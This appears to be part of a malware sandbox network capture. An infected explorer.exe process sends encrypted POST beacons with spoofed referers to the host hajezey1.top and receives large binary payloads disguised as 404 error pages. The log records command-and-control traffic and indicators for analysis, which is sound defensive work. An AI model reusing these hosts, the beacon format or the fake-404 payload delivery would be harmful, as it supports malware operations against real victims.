Oct 29, 2021 17:55:21.112776995 CEST	2340	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 81 71 e5 77 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 a5 98 87 cd 2b 80 78 51 a1 a2 8f bc 82 df 1c e0 32 02 50 08 88 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 01 82 20 59 55 11 5c 2c 34 67 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 01 75 cb 8a 40 d8 06 0e 45 07 13 7d 7b f9 e0 04 89 f9 d4 57 80 90 70 89 ec be 4a 6b 0e e1 a2 22 48 92 d2 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 53 68 58 96 da 19 d1 3a 2d e8 43 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 65 85 4a 04 38 ad 7f 14 2c d0 e8 b1 14 23 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 62 41 64 cd 25 5c 8d b7 f5 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 75 8d b5 be 34 56 9b 46 76 99 86 11 00 83 32 42 92 51 ce ae b8 6b 95 36 e1 48 52 67 76 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|qw+%gt+xQ2P0YObyT=a'4 YU\,4gIXKg[Ge92)g z6u@E}{WpJk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyShX:-C%GkKm@NQ>[eJ8,#q"JG0Z"?kQTJMQbAd%\#&Q#F<pvA>C/CbGBu4VFv2BQk6HRgvPnj6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 17:55:21.112829924 CEST	2342	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 17:55:21.112895012 CEST	2343	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 17:55:21.112932920 CEST	2344	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 17:55:21.112974882 CEST	2346	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
Oct 29, 2021 17:55:21.113014936 CEST	2347	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
Oct 29, 2021 17:55:21.113053083 CEST	2349	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 17:55:21.113094091 CEST	2350	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ{BorBz7Uf%OWtvFOrMbcM$b{\|()0V d5p^H{$%p8b<4-MlD
Oct 29, 2021 17:55:21.113133907 CEST	2351	IN	Data Raw: 70 cf b3 a6 32 32 dd 11 07 4c 4e 02 8c fa 46 c0 cd 49 e6 ce 9d 7f 36 36 45 71 31 f1 84 ff 46 5c fa 24 c1 12 a7 c4 55 2f 4a 75 51 f7 2e 7a dc 49 62 23 20 3d 34 83 3e d2 11 1e 0b 1f b1 32 ba 74 5c a4 4d 33 57 77 9f 79 ec 0c 01 72 11 dc 23 c4 76 08 Data Ascii: p22LNFI66Eq1F\$U/JuQ.zIb# =4>2t\M3Wwyr#vs-z3wu":(v,4{E]?$e`)7fwlL\|HO8;@E(hhH($'7d$C*<%FmF&ncRK@`h1sOTc#4& ?P
Oct 29, 2021 17:55:21.113173962 CEST	2353	IN	Data Raw: 31 f2 a9 fb f3 90 c1 22 87 b9 0b 68 eb 55 c1 c4 1d 2f b5 2c 17 6d b4 c5 fd d4 a8 af a0 03 d5 31 47 a6 83 d9 f5 0f 33 10 7b 3b 8e 0d 8e 6f dd 61 67 e5 57 f1 fb 1a 55 60 62 b7 3c 28 11 f6 d4 5c 1a 3c 44 7c cd 42 aa 61 ef e4 ed 90 44 4d b3 8b 84 3f Data Ascii: 1"hU/,m1G3{;oagWU`b<(\<D\|BaDM?yCred0^9U\.'X^V\q/~EF(jt-h-@`ATlokA]"fGAi>lW(#+(Eyr$Gjq\]JP:
Oct 29, 2021 17:55:21.166459084 CEST	2354	IN	Data Raw: 5f af 3a 5b b9 22 90 bd ba 06 c1 22 42 8b 7f ee 32 8d 2a 3c 04 e8 62 02 8a 42 fa d7 d1 aa 20 57 ae b3 61 b0 ed ea 9d 46 e3 33 e7 80 a7 54 f7 a5 61 dc f0 42 05 85 3d df c3 75 48 af 6d fc 82 8a 4a 52 72 21 fc 6c e5 c9 96 98 71 10 73 85 e7 8f 18 8a Data Ascii: _:[""B2*<bB WaF3TaB=uHmJRr!lqsY' vo@2/-_zqG7_bwb1A5Px0_~r`_\ee!}^M%&QCQz$n3I\@KFye~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49815	81.177.141.36	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49795	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:22.926029921 CEST	2468	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://llaraxn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: hajezey1.top
Oct 29, 2021 17:55:22.926084042 CEST	2468	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 35 de cb 0a Data Ascii: lI\|FG2@i^mwmwu$f]d53}\|}]a\*Put@x8kC!:F44}]AOR2O:InPR:;L)01sV
Oct 29, 2021 17:55:23.006124973 CEST	2481	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49797	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:23.598228931 CEST	2686	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jibms.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: hajezey1.top
Oct 29, 2021 17:55:23.598328114 CEST	2686	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 26 b5 80 10 Data Ascii: lI\|FG2@i^mwmwu$f]d&E#<wz9Mt_xXI&ql^aq+L@h#J@m&OJ4`7B)[ EaA/.ZpYLP.)heksY?m82I?%
Oct 29, 2021 17:55:23.680356979 CEST	2687	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 56 3b 38 a6 15 e4 c6 ce a9 22 27 90 32 fb 10 df b7 b7 c8 10 46 15 b1 97 4c c3 f9 8c e2 58 e9 9c b7 3d ef ce 38 1f c1 19 39 ec a8 01 8f 44 ea 9b bf 6e c0 53 5b 76 cb c4 bd 8f 46 84 7f 9c b8 6a f7 5b 61 67 85 1a aa 50 f1 33 0d 4d 9e 1f ed 23 97 05 42 e0 c9 1c 9c 4a be 99 95 43 d2 7c 6c b8 4f 4e 7d bb ad 45 43 37 86 96 3f d8 a1 f7 94 8f c9 3b cb 53 94 6d 9b 3d 70 e0 53 08 55 42 da 49 3b b1 85 2c 03 39 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RY8\|-:+%Wt#xQP0ObyT=a'4 YW\\|;fKMXKw[Ge)29E"\|6N}oczUpJk"HBI?m\|6NI^LdU[0zU5=PoV`GZdQJVqu~dwy'$X9:-C'GkKm1`#>[qJ8-,sqK0Z"?+QzJMQAd'\#&Q#2YBA6?C/fGB%4VF>"7"h*6VPgt 4k6'NGc:HNDP8W%WbJ}Tzl9\@nGL"}b1@$@N!;KnGA_OW`kg";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59V;8"'2FLX=89DnS[vFj[agP3M#BJC\|lON}EC7?;Sm=pSUBI;,9
Oct 29, 2021 17:55:23.680389881 CEST	2689	IN	Data Raw: 1a d7 38 d6 62 4f 35 3d bc 96 b0 cc 2f f0 49 84 b8 7d 8a 8b 6e 56 22 c1 ff 2f 0c cd fd 4c f7 b1 6a 48 bb 8f 13 4a b9 84 70 d0 65 a9 08 3d 3f 00 5c 74 31 8e f4 65 f6 d2 1a 06 b2 6b b7 98 29 92 71 d0 86 d1 cc 16 4b 45 ab 42 f4 4b ca 38 29 b3 e6 06 Data Ascii: 8bO5=/I}nV"/LjHJpe=?\t1ek)qKEBK8)y}s~PG`hSH95!926jRdB<[R[^%3V9l{j Wx#g.v/hW.%_6% &<v0p>=, 3zY
Oct 29, 2021 17:55:23.680414915 CEST	2690	IN	Data Raw: 32 f9 5d c3 bc 0e 98 cd b5 da 03 d7 db 02 0c a3 fc cc fd 5e 3c 7b 37 fa 85 59 15 57 3e 8e d7 ac 1f ab 97 e1 5f 61 9a 2a 30 44 f5 da 18 ef a7 33 5a 94 3a 9f 68 fa 88 6a d4 df 95 06 83 9f b6 77 19 2e 4a ed 82 22 a7 cd 97 2c 01 67 f7 ef fa d6 e3 ea Data Ascii: 2]^<{7YW>_a*0D3Z:hjw.J",g9,fw[urg:L.e/"sf^z\S ]/n]2/g^=3@`#W0V_RsC4CbTCmSLX1xjO>,v)_dG"j}!!
Oct 29, 2021 17:55:23.680439949 CEST	2692	IN	Data Raw: c2 da 2c b7 75 d3 98 eb c1 e4 51 83 6a 10 0c f9 12 b5 e1 35 87 6d fe 69 44 80 83 be a2 f1 5f 0e fd 10 e6 e1 9e 75 7f 13 48 72 c7 ec 98 19 f2 de 3c c8 98 bf 59 a6 d5 ad bb bc f6 62 de 42 a4 87 5e f5 64 e4 b8 52 f9 89 07 a3 8c 2b cc bd 32 fb 20 af Data Ascii: ,uQj5miD_uHr<YbB^dR+2 p2rf8#cUA:v)W6HW+Eu^Zt&oY{.`U]&^%7QY.9/G~($<!=zl5GH3,;?q5WV
Oct 29, 2021 17:55:23.680464983 CEST	2693	IN	Data Raw: b1 63 13 ab 07 6e 13 c5 cf a4 11 84 63 88 18 98 42 aa ba ee c5 7b a2 11 15 84 b9 b4 65 ba 0a ce 6e b7 b9 26 45 5f ce d5 dc 2a 3d aa 0f ee 1e b0 ba 00 47 4c 45 9a ae a6 79 e5 5b a1 c4 16 d9 4b 1f 6b e1 23 07 f5 07 5f cb d1 ba 71 bc 8f 7f 93 d9 f6 Data Ascii: cncB{en&E_=GLEy[Kk#_qlh[+$XU+FSw_7eSHw#RIwT^%7et9%Y,P,qip{ZC;qJVM=rO.!1o7{ f65ma??:V;\o'2\|iK2)WpK5
Oct 29, 2021 17:55:23.680490017 CEST	2694	IN	Data Raw: 4a 66 ed b2 d9 93 8b 68 a7 ad c2 52 e0 80 94 31 ff 87 34 0c a4 be 8f d4 a2 83 94 2f f6 88 84 e1 5f 12 34 a2 6f ae f6 79 62 01 c1 9e 17 44 43 58 aa 5a 9f 49 a7 71 2c 62 a1 ac c2 10 a1 53 6a cb 2b e0 0a 80 94 05 e6 c3 2c e8 72 1e 10 a4 a2 29 e1 27 Data Ascii: JfhR14/_4oybDCXZIq,bSj+,r)'FgW.IQ/Om.V@&Gz!q@!,9d]rgcOoFUDB#Ze\{27:aka:;`tU<\|pkvvCy$*[oG
Oct 29, 2021 17:55:23.680557013 CEST	2696	IN	Data Raw: 57 7a 2b ae 7a 08 39 26 d5 d3 9a fb f2 e3 af a8 3f 15 c2 82 16 cd 1f 6c 44 7c 62 f1 92 42 43 86 41 21 a4 bb 4e de e9 8e 35 24 24 5e 1d cd f1 16 d5 2d 50 db 21 4b c8 57 36 6e 02 52 15 35 a6 ed 41 30 3b 64 ec 36 0a e3 d8 19 95 27 ee 4d b7 3b 26 15 Data Ascii: Wz+z9&?lD\|bBCA!N5$$^-P!KW6nR5A0;d6'M;&rM*$E=BWv!_K-\|HTm/b+,GD2L)r#`0wIrmrudAjSn20006Sk;A?%6Rj+PA"Jc#]]xfm
